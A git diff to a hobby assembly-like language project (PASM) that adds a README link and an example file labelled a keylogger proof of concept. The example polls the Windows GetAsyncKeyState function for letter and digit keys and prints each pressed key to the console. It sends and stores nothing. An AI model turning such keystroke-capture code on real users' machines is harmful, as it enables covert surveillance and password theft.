diff --git a/README.md b/README.md index dc6c039..623a80d 100644 --- a/README.md +++ b/README.md @@ -33,4 +33,5 @@ make lib Then link the library to your program, see [this example](tests/lib_use.c).
# Code examples +- [keylogger](examples/keylogger.pasm) - [functions test](examples/test.pasm) diff --git a/examples/keylogger.pasm b/examples/keylogger.pasm new file mode 100644 index 0000000..2ae4b44 --- /dev/null +++ b/examples/keylogger.pasm @@ -0,0 +1,40 @@ +; Simple PASM keylogger POC +; by patate + +; //https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes + +; ----------------------------------- +; Keys 0 to 9 and A to Z +; ----------------------------------- +; for (int i = 48; i < 91; i++) { +; if (i >= 58 && i <= 64) { +; continue; +; } +; if (GetAsyncKeyState(i) & 0x8000) { +; printf("%c", i); +; } +; } + +main: +mov a1, 47 + +loop: +add a1, 1 +cmp a1, 90 +ja main + +cmp a1, 58 +jb 3 +cmp a1, 65 +jb loop + +push a1 ;vKey +call GetAsyncKeyState +and eax, 32768 ;0x8000 +cmp eax, 0 +je loop + +push a1 +push 1 +call put +jmp loop \ No newline at end of file